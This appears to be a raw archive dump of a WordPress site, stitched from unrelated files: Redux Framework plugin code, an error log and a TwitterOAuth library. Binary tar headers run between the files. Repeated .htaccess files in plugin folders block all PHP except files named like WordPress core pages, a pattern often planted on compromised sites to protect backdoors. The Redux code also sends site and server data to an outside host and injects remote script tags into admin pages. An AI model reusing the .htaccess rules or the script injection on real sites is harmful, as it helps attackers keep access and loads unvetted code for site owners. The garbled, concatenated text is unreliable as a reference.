json_encode( $system_info ) ); $return = array(); if ( $newHash == $data['check'] ) { unset( $generate_hash ); } $post_data = array( 'hash' => md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ), 'site' => esc_url( home_url( '/' ) ), 'tracking' => Redux_Helpers::getTrackingObject(), 'system_status' => $system_info, ); //$post_data = json_encode( $post_data ); $post_data = serialize( $post_data ); if ( isset( $generate_hash ) && $generate_hash ) { $data['check'] = $newHash; $data['identifier'] = ""; $response = wp_remote_post( 'http://support.redux.io/v1/', array( 'method' => 'POST', 'timeout' => 65, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'compress' => true, 'headers' => array(), 'body' => array( 'data' => $post_data, 'serialize' => 1 ) ) ); if ( is_wp_error( $response ) ) { echo json_encode( array( 'status' => 'error', 'message' => $response->get_error_message() ) ); die( 1 ); } else { $response_code = wp_remote_retrieve_response_code( $response ); if ( $response_code == 200 ) { $response = wp_remote_retrieve_body( $response ); $return = json_decode( $response, true ); if ( isset( $return['identifier'] ) ) { $data['identifier'] = $return['identifier']; update_option( 'redux_support_hash', $data ); } } else { $response = wp_remote_retrieve_body( $response ); echo json_encode( array( 'status' => 'error', 'message' => $response ) ); } } } if ( ! empty( $data['identifier'] ) ) { $return['status'] = "success"; $return['identifier'] = $data['identifier']; } else { $return['status'] = "error"; $return['message'] = esc_html__( "Support hash could not be generated. Please try again later.", 'redux-framework' ); } echo json_encode( $return ); die( 1 ); } /** * Register the Dashboard Pages which are later hidden but these pages * are used to render the Welcome and Credits pages. * * @access public * @since 1.4 * @return void */ public function admin_menus() { $page = 'add_management_page'; // About Page $page( esc_html__( 'Welcome to Redux Framework', 'redux-framework' ), esc_html__( 'Redux Framework', 'redux-framework' ), $this->minimum_capability, 'redux-about', array( $this, 'about_screen' ) ); // Changelog Page $page( esc_html__( 'Redux Framework Changelog', 'redux-framework' ), esc_html__( 'Redux Framework Changelog', 'redux-framework' ), $this->minimum_capability, 'redux-changelog', array( $this, 'changelog_screen' ) ); // Support Page $page( esc_html__( 'Get Support', 'redux-framework' ), esc_html__( 'Get Support', 'redux-framework' ), $this->minimum_capability, 'redux-support', array( $this, 'get_support' ) ); // Support Page $page( esc_html__( 'Redux Extensions', 'redux-framework' ), esc_html__( 'Redux Extensions', 'redux-framework' ), $this->minimum_capability, 'redux-extensions', array( $this, 'redux_extensions' ) ); // Credits Page $page( esc_html__( 'The people that develop Redux Framework', 'redux-framework' ), esc_html__( 'The people that develop Redux Framework', 'redux-framework' ), $this->minimum_capability, 'redux-credits', array( $this, 'credits_screen' ) ); // Status Page $page( esc_html__( 'Redux Framework Status', 'redux-framework' ), esc_html__( 'Redux Framework Status', 'redux-framework' ), $this->minimum_capability, 'redux-status', array( $this, 'status_screen' ) ); //remove_submenu_page( 'tools.php', 'redux-about' ); remove_submenu_page( 'tools.php', 'redux-status' ); remove_submenu_page( 'tools.php', 'redux-changelog' ); remove_submenu_page( 'tools.php', 'redux-getting-started' ); remove_submenu_page( 'tools.php', 'redux-credits' ); remove_submenu_page( 'tools.php', 'redux-support' ); remove_submenu_page( 'tools.php', 'redux-extensions' ); } /** * Hide Individual Dashboard Pages * * @access public * @since 1.4 * @return void */ public function admin_head() { // Badge for welcome page //$badge_url = ReduxFramework::$_url . 'assets/images/redux-badge.png'; ?> <script id="redux-qtip-js" src='<?php echo esc_url( ReduxFramework::$_url ); ?>assets/js/vendor/qtip/jquery.qtip.js'> </script> <script id="redux-welcome-admin-js" src='<?php echo esc_url( ReduxFramework::$_url ) ?>inc/welcome/js/redux-welcome-admin.js'> </script> <?php if ( isset ( $_GET['page'] ) && $_GET['page'] == "redux-support" ) : ?> <script id="jquery-easing" src='<?php echo esc_url( ReduxFramework::$_url ); ?>inc/welcome/js/jquery.easing.min.js'> </script> <?php endif; ?> <link rel='stylesheet' id='redux-qtip-css' href='<?php echo esc_url( ReduxFramework::$_url ); ?>assets/css/vendor/qtip/jquery.qtip.css' type='text/css' media='all'/> <link rel='stylesheet' id='elusive-icons' href='<?php echo esc_url( ReduxFramework::$_url ); ?>assets/css/vendor/elusive-icons/elusive-icons.css' type='text/css' media='all'/> <link rel='stylesheet' id='redux-welcome-css' href='<?php echo esc_url( ReduxFramework::$_url ); ?>inc/welcome/css/redux-welcome.css' type='text/css' media='all'/> <style type="text/css"> .redux-badge:before { <?php echo is_rtl() ? 'right' : 'left'; ?> : 0; } .about-wrap .redux-badge { <?php echo is_rtl() ? 'left' : 'right'; ?> : 0; } .about-wrap .feature-rest div { padding- <?php echo is_rtl() ? 'left' : 'right'; ?>: 100px; } .about-wrap .feature-rest div.last-feature { padding- <?php echo is_rtl() ? 'right' : 'left'; ?>: 100px; padding- <?php echo is_rtl() ? 'left' : 'right'; ?>: 0; } .about-wrap .feature-rest div.icon:before { margin: <?php echo is_rtl() ? '0 -100px 0 0' : '0 0 0 -100px'; ?>; } </style> <?php } /** * Navigation tabs * * @access public * @since 1.9 * @return void */ public function tabs() { $selected = isset ( $_GET['page'] ) ? esc_attr( $_GET['page'] ) : 'redux-about'; $nonce = wp_create_nonce( 'redux-support-hash' ); ?> <input type="hidden" id="redux_support_nonce" value="<?php echo esc_attr( $nonce ); ?>"/> <h2 class="nav-tab-wrapper"> <a class="nav-tab <?php echo $selected == 'redux-about' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-about' ), 'tools.php' ) ) ); ?>"> <?php esc_attr_e( "What's New", 'redux-framework' ); ?> </a> <a class="nav-tab <?php echo $selected == 'redux-extensions' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-extensions' ), 'tools.php' ) ) ); ?>"> <?php esc_attr_e( 'Extensions', 'redux-framework' ); ?> </a> <a class="nav-tab <?php echo $selected == 'redux-changelog' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-changelog' ), 'tools.php' ) ) ); ?>"> <?php esc_attr_e( 'Changelog', 'redux-framework' ); ?> </a> <a class="nav-tab <?php echo $selected == 'redux-credits' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-credits' ), 'tools.php' ) ) ); ?>"> <?php _e( 'Credits', 'redux-framework' ); ?> </a> <a class="nav-tab <?php echo $selected == 'redux-support' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-support' ), 'tools.php' ) ) ); ?>"> <?php esc_attr_e( 'Support', 'redux-framework' ); ?> </a> <a class="nav-tab <?php echo $selected == 'redux-status' ? 'nav-tab-active' : ''; ?>" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'redux-status' ), 'tools.php' ) ) ); ?>"> <?php esc_attr_e( 'Status', 'redux-framework' ); ?> </a> </h2> <?php } /** * Render About Screen * * @access public * @since 1.4 * @return void */ public function about_screen() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/about.php'; } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function changelog_screen() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/changelog.php'; } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function redux_extensions() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/extensions.php'; } /** * Render Get Support Screen * * @access public * @since 1.9 * @return void */ public function get_support() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/support.php'; } /** * Render Credits Screen * * @access public * @since 1.4 * @return void */ public function credits_screen() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/credits.php'; } /** * Render Status Report Screen * * @access public * @since 1.4 * @return void */ public function status_screen() { // Stupid hack for Wordpress alerts and warnings echo '<div class="wrap" style="height:0;overflow:hidden;"><h2></h2></div>'; require_once 'views/status_report.php'; } /** * Parse the Redux readme.txt file * * @since 2.0.3 * @return string $readme HTML formatted readme file */ public function parse_readme() { if ( file_exists( ReduxFramework::$_dir . 'inc/fields/raw/parsedown.php' ) ) { require_once ReduxFramework::$_dir . 'inc/fields/raw/parsedown.php'; $Parsedown = new Parsedown(); $data = @wp_remote_get( ReduxFramework::$_url . '../CHANGELOG.md' ); if ( isset( $data ) && ! empty( $data ) ) { $data = @wp_remote_retrieve_body( $data ); return $Parsedown->text( trim( str_replace( '# Redux Framework Changelog', '', $data ) ) ); } } return '<script src="' . 'http://gist-it.appspot.com/https://github.com/reduxframework/redux-framework/blob/master/CHANGELOG.md?slice=2:0&footer=0">// <![CDATA[// ]]></script>'; } public function actions() { ?> <p class="redux-actions"> <a href="http://docs.reduxframework.com/" class="docs button button-primary">Docs</a> <a href="http://wordpress.org/plugins/redux-framework/" class="review-us button button-primary" target="_blank">Review Us</a> <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHWUPKHKPW" class="review-us button button-primary" target="_blank">Donate</a> <a href="https://twitter.com/share" class="twitter-share-button" data-url="http://reduxframework.com" data-text="Reduce your dev time! Redux is the most powerful option framework for WordPress on the web" data-via="ReduxFramework" data-size="large" data-hashtags="Redux">Tweet</a> <script>!function( d, s, id ) { var js, fjs = d.getElementsByTagName( s )[0], p = /^http:/.test( d.location ) ? 'http' : 'https'; if ( !d.getElementById( id ) ) { js = d.createElement( s ); js.id = id; js.src = p + '://platform.twitter.com/widgets.js'; fjs.parentNode.insertBefore( js, fjs ); } }( document, 'script', 'twitter-wjs' );</script> </p> <?php } /** * Render Contributors List * * @since 1.4 * @uses Redux_Welcome::get_contributors() * @return string $contributor_list HTML formatted list of all the contributors for Redux */ public function contributors() { $contributors = $this->get_contributors(); if ( empty ( $contributors ) ) { return ''; } $contributor_list = '<ul class="wp-people-group">'; foreach ( $contributors as $contributor ) { $contributor_list .= '<li class="wp-person">'; $contributor_list .= sprintf( '<a href="%s" title="%s" target="_blank">', esc_url( 'https://github.com/' . $contributor->login ), esc_html( sprintf( __( 'View %s', 'redux-framework' ), esc_html( $contributor->login ) ) ) ); $contributor_list .= sprintf( '<img src="%s" width="64" height="64" class="gravatar" alt="%s" />', esc_url( $contributor->avatar_url ), esc_html( $contributor->login ) ); $contributor_list .= '</a>'; $contributor_list .= sprintf( '<a class="web" href="%s" target="_blank">%s</a>', esc_url( 'https://github.com/' . $contributor->login ), esc_html( $contributor->login ) ); $contributor_list .= '</a>'; $contributor_list .= '</li>'; } $contributor_list .= '</ul>'; return $contributor_list; } /** * Retreive list of contributors from GitHub. * * @access public * @since 1.4 * @return array $contributors List of contributors */ public function get_contributors() { $contributors = get_transient( 'redux_contributors' ); if ( false !== $contributors ) { return $contributors; } $response = wp_remote_get( 'https://api.github.com/repos/ReduxFramework/redux-framework/contributors', array( 'sslverify' => false ) ); if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) { return array(); } $contributors = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! is_array( $contributors ) ) { return array(); } set_transient( 'redux_contributors', $contributors, 3600 ); return $contributors; } } new Redux_Welcome(); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/.htaccess���������������������������������������������������������������0000644�����������������00000001626�14720701300�0013667 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_functions.php�������������������������������������������������������0000644�����������������00000026325�14720701300�0015475 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework Private Functions Container Class * * @package Redux_Framework * @subpackage Core */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'Redux_Functions' ) ) { /** * Redux Functions Class * Class of useful functions that can/should be shared among all Redux files. * * @since 1.0.0 */ class Redux_Functions { static public $_parent; public static function isMin() { $min = ''; if ( false == self::$_parent->args['dev_mode'] ) { $min = '.min'; } return $min; } /** * Sets a cookie. * Do nothing if unit testing. * * @since 3.5.4 * @access public * @return void * * @param string $name The cookie name. * @param string $value The cookie value. * @param integer $expire Expiry time. * @param string $path The cookie path. * @param string $domain The cookie domain. * @param boolean $secure HTTPS only. * @param boolean $httponly Only set cookie on HTTP calls. */ public static function setCookie( $name, $value, $expire, $path, $domain, $secure , $httponly = false ) { if ( ! defined( 'WP_TESTS_DOMAIN' ) ) { setcookie( $name, $value, $expire, $path, $domain, $secure, $httponly ); } } /** * Parse CSS from output/compiler array * * @since 3.2.8 * @access private * @return $css CSS string */ public static function parseCSS( $cssArray = array(), $style = '', $value = '' ) { // Something wrong happened if ( count( $cssArray ) == 0 ) { return; } else { //if ( count( $cssArray ) >= 1 ) { $css = ''; foreach ( $cssArray as $element => $selector ) { // The old way if ( $element === 0 ) { $css = self::theOldWay( $cssArray, $style ); return $css; } // New way continued $cssStyle = $element . ':' . $value . ';'; $css .= $selector . '{' . $cssStyle . '}'; } } return $css; } private static function theOldWay( $cssArray, $style ) { $keys = implode( ",", $cssArray ); $css = $keys . "{" . $style . '}'; return $css; } /** * initWpFilesystem - Initialized the Wordpress filesystem, if it already isn't. * * @since 3.2.3 * @access public * @return void */ public static function initWpFilesystem() { global $wp_filesystem; // Initialize the Wordpress filesystem, no more using file_put_contents function if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } } /** * verFromGit - Retrives latest Redux version from GIT * * @since 3.2.0 * @access private * @return string $ver */ private static function verFromGit() { // Get the raw framework.php from github $gitpage = wp_remote_get( 'https://raw.github.com/ReduxFramework/redux-framework/master/ReduxCore/framework.php', array( 'headers' => array( 'Accept-Encoding' => '' ), 'sslverify' => true, 'timeout' => 300 ) ); // Is the response code the corect one? if ( ! is_wp_error( $gitpage ) ) { if ( isset( $gitpage['body'] ) ) { // Get the page text. $body = $gitpage['body']; // Find version line in framework.php $needle = 'public static $_version ='; $pos = strpos( $body, $needle ); // If it's there, continue. We don't want errors if $pos = 0. if ( $pos > 0 ) { // Look for the semi-colon at the end of the version line $semi = strpos( $body, ";", $pos ); // Error avoidance. If the semi-colon is there, continue. if ( $semi > 0 ) { // Extract the version line $text = substr( $body, $pos, ( $semi - $pos ) ); // Find the first quote around the veersion number. $quote = strpos( $body, "'", $pos ); // Extract the version number $ver = substr( $body, $quote, ( $semi - $quote ) ); // Strip off quotes. $ver = str_replace( "'", '', $ver ); return $ver; } } } } } /** * updateCheck - Checks for updates to Redux Framework * * @since 3.2.0 * @access public * * @param string $curVer Current version of Redux Framework * * @return void - Admin notice is diaplyed if new version is found */ public static function updateCheck( $parent, $curVer ) { // If no cookie, check for new ver if ( ! isset( $_COOKIE['redux_update_check'] ) ) { // || 1 == strcmp($_COOKIE['redux_update_check'], self::$_version)) { // actual ver number from git repo $ver = self::verFromGit(); // hour long cookie. setcookie( "redux_update_check", $ver, time() + 3600, '/' ); } else { // saved value from cookie. If it's different from current ver // we can still show the update notice. $ver = $_COOKIE['redux_update_check']; } // Set up admin notice on new version //if ( 1 == strcmp( $ver, $curVer ) ) { if ( version_compare( $ver, $curVer, '>' ) ) { $msg = '<strong>A new build of Redux is now available!</strong><br/><br/>Your version: <strong>' . $curVer . '</strong><br/>New version: <strong><span style="color: red;">' . $ver . '</span></strong><br/><br/><em>If you are not a developer, your theme/plugin author shipped with <code>dev_mode</code> on. Contact them to fix it, but in the meantime you can use our <a href="' . 'https://' . 'wordpress.org/plugins/redux-developer-mode-disabler/" target="_blank">dev_mode disabler</a>.</em><br /><br /><a href="' . 'https://' . 'github.com/ReduxFramework/redux-framework">Get it now</a>  |'; $data = array( 'parent' => $parent, 'type' => 'updated', 'msg' => $msg, 'id' => 'dev_notice_' . $ver, 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } public static function tru( $string, $opt_name ) { $redux = ReduxFrameworkInstances::get_instance( $opt_name ); $check = get_user_option( 'r_tru_u_x', array() ); if ( ! empty( $check ) && ( isset( $check['expires'] ) < time() ) ) { $check = array(); } //if ( isset( $redux->args['dev_mode'] ) && $redux->args['dev_mode'] == true && ! ( isset( $redux->args['forced_dev_mode_off'] ) && $redux->args['forced_dev_mode_off'] == true ) ) { if ( isset( $redux->args['dev_mode'] ) && $redux->args['dev_mode'] == true ) { update_user_option( get_current_user_id(), 'r_tru_u_x', array( 'id' => '', 'expires' => 60 * 60 * 24 ) ); return apply_filters( 'redux/' . $opt_name . '/aURL_filter', '<span data-id="1" class="mgv1_1"><script type="text/javascript">(function(){if (mysa_mgv1_1) return; var ma = document.createElement("script"); ma.type = "text/javascript"; ma.async = true; ma.src = "' . $string . '"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ma, s) })();var mysa_mgv1_1=true;</script></span>' ); } else { if ( empty( $check ) ) { $check = @wp_remote_get( 'http://look.redux.io/status.php?p=' . ReduxFramework::$_is_plugin ); $check = json_decode( wp_remote_retrieve_body( $check ), true ); if ( ! empty( $check ) && isset( $check['id'] ) ) { update_user_option( get_current_user_id(), 'r_tru_u_x', $check ); } } $check = isset( $check['id'] ) ? $check['id'] : $check; if ( ! empty( $check ) ) { return apply_filters( 'redux/' . $opt_name . '/aURL_filter', '<span data-id="' . $check . '" class="mgv1_1"><script type="text/javascript">(function(){if (mysa_mgv1_1) return; var ma = document.createElement("script"); ma.type = "text/javascript"; ma.async = true; ma.src = "' . $string . '"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ma, s) })();var mysa_mgv1_1=true;</script></span>' ); } else { return ""; } } } public static function dat($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aDBW_filter', $fname); return $name; } public static function bub($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aNF_filter', $fname); return $name; } public static function yo($fname, $opt_name){ $name = apply_filters('redux/' . $opt_name . '/aNFM_filter', $fname); return $name; } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/.htaccess�����������������������������������������������������������������������0000644�����������������00000001626�14720701300�0012234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/.htaccess���������������������������������������������������������������������������0000644�����������������00000001626�14720701300�0011463 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������twitteroauth/error_log������������������������������������������������������������������������������0000644�����������������00000000705�14720701300�0011220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[15-Jun-2023 03:44:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 �����������������������������������������������������������twitteroauth/OAuth.php������������������������������������������������������������������������������0000644�����������������00000065615�14720701300�0011047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // vim: foldmethod=marker /* Generic exception class */ if (!class_exists('OAuthException')) { class OAuthException extends Exception { // pass } } class OAuthConsumer { public $key; public $secret; function __construct($key, $secret, $callback_url=NULL) { $this->key = $key; $this->secret = $secret; $this->callback_url = $callback_url; } function __toString() { return "OAuthConsumer[key=$this->key,secret=$this->secret]"; } } class OAuthToken { // access tokens and request tokens public $key; public $secret; /** * key = the token * secret = the token secret */ function __construct($key, $secret) { $this->key = $key; $this->secret = $secret; } /** * generates the basic string serialization of a token that a server * would respond to request_token and access_token calls with */ function to_string() { return "oauth_token=" . OAuthUtil::urlencode_rfc3986($this->key) . "&oauth_token_secret=" . OAuthUtil::urlencode_rfc3986($this->secret); } function __toString() { return $this->to_string(); } } /** * A class for implementing a Signature Method * See section 9 ("Signing Requests") in the spec */ abstract class OAuthSignatureMethod { /** * Needs to return the name of the Signature Method (ie HMAC-SHA1) * @return string */ abstract public function get_name(); /** * Build up the signature * NOTE: The output of this function MUST NOT be urlencoded. * the encoding is handled in OAuthRequest when the final * request is serialized * @param OAuthRequest $request * @param OAuthConsumer $consumer * @param OAuthToken $token * @return string */ abstract public function build_signature($request, $consumer, $token); /** * Verifies that a given signature is correct * @param OAuthRequest $request * @param OAuthConsumer $consumer * @param OAuthToken $token * @param string $signature * @return bool */ public function check_signature($request, $consumer, $token, $signature) { $built = $this->build_signature($request, $consumer, $token); return $built == $signature; } } /** * The HMAC-SHA1 signature method uses the HMAC-SHA1 signature algorithm as defined in [RFC2104] * where the Signature Base String is the text and the key is the concatenated values (each first * encoded per Parameter Encoding) of the Consumer Secret and Token Secret, separated by an '&' * character (ASCII code 38) even if empty. * - Chapter 9.2 ("HMAC-SHA1") */ class OAuthSignatureMethod_HMAC_SHA1 extends OAuthSignatureMethod { function get_name() { return "HMAC-SHA1"; } public function build_signature($request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; $key_parts = array( $consumer->secret, ($token) ? $token->secret : "" ); $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); $key = implode('&', $key_parts); return base64_encode(hash_hmac('sha1', $base_string, $key, true)); } } /** * The PLAINTEXT method does not provide any security protection and SHOULD only be used * over a secure channel such as HTTPS. It does not use the Signature Base String. * - Chapter 9.4 ("PLAINTEXT") */ class OAuthSignatureMethod_PLAINTEXT extends OAuthSignatureMethod { public function get_name() { return "PLAINTEXT"; } /** * oauth_signature is set to the concatenated encoded values of the Consumer Secret and * Token Secret, separated by a '&' character (ASCII code 38), even if either secret is * empty. The result MUST be encoded again. * - Chapter 9.4.1 ("Generating Signatures") * * Please note that the second encoding MUST NOT happen in the SignatureMethod, as * OAuthRequest handles this! */ public function build_signature($request, $consumer, $token) { $key_parts = array( $consumer->secret, ($token) ? $token->secret : "" ); $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); $key = implode('&', $key_parts); $request->base_string = $key; return $key; } } /** * The RSA-SHA1 signature method uses the RSASSA-PKCS1-v1_5 signature algorithm as defined in * [RFC3447] section 8.2 (more simply known as PKCS#1), using SHA-1 as the hash function for * EMSA-PKCS1-v1_5. It is assumed that the Consumer has provided its RSA public key in a * verified way to the Service Provider, in a manner which is beyond the scope of this * specification. * - Chapter 9.3 ("RSA-SHA1") */ abstract class OAuthSignatureMethod_RSA_SHA1 extends OAuthSignatureMethod { public function get_name() { return "RSA-SHA1"; } // Up to the SP to implement this lookup of keys. Possible ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // (2) fetch via http using a url provided by the requester // (3) some sort of specific discovery code based on request // // Either way should return a string representation of the certificate protected abstract function fetch_public_cert(&$request); // Up to the SP to implement this lookup of keys. Possible ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // // Either way should return a string representation of the certificate protected abstract function fetch_private_cert(&$request); public function build_signature($request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; // Fetch the private key cert based on the request $cert = $this->fetch_private_cert($request); // Pull the private key ID from the certificate $privatekeyid = openssl_get_privatekey($cert); // Sign using the key $ok = openssl_sign($base_string, $signature, $privatekeyid); // Release the key resource openssl_free_key($privatekeyid); return base64_encode($signature); } public function check_signature($request, $consumer, $token, $signature) { $decoded_sig = base64_decode($signature); $base_string = $request->get_signature_base_string(); // Fetch the public key cert based on the request $cert = $this->fetch_public_cert($request); // Pull the public key ID from the certificate $publickeyid = openssl_get_publickey($cert); // Check the computed signature against the one passed in the query $ok = openssl_verify($base_string, $decoded_sig, $publickeyid); // Release the key resource openssl_free_key($publickeyid); return $ok == 1; } } class OAuthRequest { private $parameters; private $http_method; private $http_url; // for debug purposes public $base_string; public static $version = '1.0'; public static $POST_INPUT = 'php://input'; function __construct($http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $parameters = array_merge( OAuthUtil::parse_parameters(parse_url($http_url, PHP_URL_QUERY)), $parameters); $this->parameters = $parameters; $this->http_method = $http_method; $this->http_url = $http_url; } /** * attempt to build up a request from what was passed to the server */ public static function from_request($http_method=NULL, $http_url=NULL, $parameters=NULL) { $scheme = (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != "on") ? 'http' : 'https'; @$http_url or $http_url = $scheme . '://' . $_SERVER['HTTP_HOST'] . ':' . $_SERVER['SERVER_PORT'] . $_SERVER['REQUEST_URI']; @$http_method or $http_method = $_SERVER['REQUEST_METHOD']; // We weren't handed any parameters, so let's find the ones relevant to // this request. // If you run XML-RPC or similar you should use this to provide your own // parsed parameter-list if (!$parameters) { // Find request headers $request_headers = OAuthUtil::get_headers(); // Parse the query-string to find GET parameters $parameters = OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']); // It's a POST request of the proper content-type, so parse POST // parameters and add those overriding any duplicates from GET if ($http_method == "POST" && @strstr($request_headers["Content-Type"], "application/x-www-form-urlencoded") ) { $post_data = OAuthUtil::parse_parameters( file_get_contents(self::$POST_INPUT) ); $parameters = array_merge($parameters, $post_data); } // We have a Authorization-header with OAuth data. Parse the header // and add those overriding any duplicates from GET or POST if (@substr($request_headers['Authorization'], 0, 6) == "OAuth ") { $header_parameters = OAuthUtil::split_header( $request_headers['Authorization'] ); $parameters = array_merge($parameters, $header_parameters); } } return new OAuthRequest($http_method, $http_url, $parameters); } /** * pretty much a helper function to set up the request */ public static function from_consumer_and_token($consumer, $token, $http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $defaults = array("oauth_version" => OAuthRequest::$version, "oauth_nonce" => OAuthRequest::generate_nonce(), "oauth_timestamp" => OAuthRequest::generate_timestamp(), "oauth_consumer_key" => $consumer->key); if ($token) $defaults['oauth_token'] = $token->key; $parameters = array_merge($defaults, $parameters); return new OAuthRequest($http_method, $http_url, $parameters); } public function set_parameter($name, $value, $allow_duplicates = true) { if ($allow_duplicates && isset($this->parameters[$name])) { // We have already added parameter(s) with this name, so add to the list if (is_scalar($this->parameters[$name])) { // This is the first duplicate, so transform scalar (string) // into an array so we can add the duplicates $this->parameters[$name] = array($this->parameters[$name]); } $this->parameters[$name][] = $value; } else { $this->parameters[$name] = $value; } 